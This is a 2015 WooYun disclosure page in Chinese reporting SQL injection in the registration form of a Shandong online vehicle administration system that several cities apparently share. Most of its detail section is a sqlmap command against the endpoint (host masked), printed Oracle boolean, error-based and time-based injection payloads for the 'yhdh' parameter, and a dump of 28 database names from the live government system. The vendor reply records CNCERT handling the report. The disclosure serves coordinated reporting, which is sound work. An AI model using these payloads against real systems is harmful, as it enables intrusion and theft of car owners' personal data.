当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144810

漏洞标题:山东车管所系统SQL注入可导致车主信息泄露

相关厂商:cncert国家互联网应急中心

漏洞作者: 藏锋者

提交时间:2015-10-11 21:41

修复时间:2015-11-30 11:16

公开时间:2015-11-30 11:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-16: 厂商已经确认,细节仅向厂商公开
2015-10-26: 细节向核心白帽子及相关领域专家公开
2015-11-05: 细节向普通白帽子公开
2015-11-15: 细节向实习白帽子公开
2015-11-30: 细节向公众公开

简要描述:

德州市网上车管所注册页面存在sql注入,很多城市采用相同的系统(山东国安信息产业有限责任公司开发),均存在漏洞

详细说明:

"**.**.**.**:9080/wscgs/reguser.do" --data="yhdh=aabbcc&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert" --dbms=oracle

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: yhdh (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: yhdh=aabbcc' AND 5931=5931 AND 'SnsF'='SnsF&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: yhdh=aabbcc' AND 8030=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(113)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (8030=8030) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'FDEG'='FDEG&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: yhdh=aabbcc' AND 1543=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(100)||CHR(114)||CHR(84),5) AND 'Gvam'='Gvam&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
---
[20:52:28] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
---
Parameter: yhdh (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: yhdh=aabbcc' AND 5931=5931 AND 'SnsF'='SnsF&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: yhdh=aabbcc' AND 8030=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(113)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (8030=8030) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'FDEG'='FDEG&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: yhdh=aabbcc' AND 1543=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(100)||CHR(114)||CHR(84),5) AND 'Gvam'='Gvam&mm=aaaaaa&mm1=aaaaaa&xm=%CD%F5%B6%FE%C2%E9&sfzmhm=130131198009112312&sjhm=13867546778&email=&state=&type=insert
---
web application technology: JSP
back-end DBMS: Oracle
available databases [28]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] GXHPDZ_USER
[*] HPGL_USER
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] WMSYS
[*] WSCGS
[*] XDB

修复方案:

版权声明:转载请注明来源 藏锋者@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-16 11:14

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评价